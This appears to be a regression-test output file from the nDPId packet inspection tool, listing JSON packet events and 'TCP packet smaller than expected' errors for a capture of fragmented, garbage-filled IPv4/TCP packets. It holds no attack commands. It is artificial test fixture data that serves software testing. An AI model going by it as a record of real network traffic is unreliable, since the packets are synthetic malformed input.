-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2046,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2047,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026523655} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2047,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2048,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026523667} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2048,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2049,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026523679} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":2049,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2050,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026523690} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2050,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2051,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026523702} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2051,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2052,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026523714} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2052,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2053,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026523726} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2053,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2054,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026523738} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2054,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2055,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026523754} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2055,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2056,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026523768} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2056,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2057,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026523779} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2057,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2058,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026523791} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2058,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2059,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026523803} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2059,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2060,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026523815} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2060,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2061,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026523826} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":2061,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2062,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026523841} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2062,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2063,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026523852} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2063,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2064,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026523864} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2064,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2065,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026523876} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2065,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2066,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026523889} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2066,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2067,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026523900} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2067,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2068,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026523911} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2068,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2069,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026523923} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2069,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2070,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026523937} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2070,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2071,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026523948} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2071,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2072,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026523960} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2072,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2073,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026523974} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2073,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2074,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026523986} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2074,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2075,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026523997} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2075,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2076,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026524009} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2076,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAktJSkhHRkQyKiZERkdISks="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026524022} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2078,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026524039} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2078,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2079,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026524051} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2079,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2080,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026524063} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2080,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2081,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026524074} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2081,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2082,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026524086} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2082,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2083,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026524104} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2083,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2084,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026524118} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2084,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2085,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026524130} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2085,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2086,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026524142} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2086,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2087,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026524154} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2087,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2088,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026524165} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2088,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAiZERkdISksmXiUkIyNFVFI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2089,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026524177} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2089,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2090,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026524224} 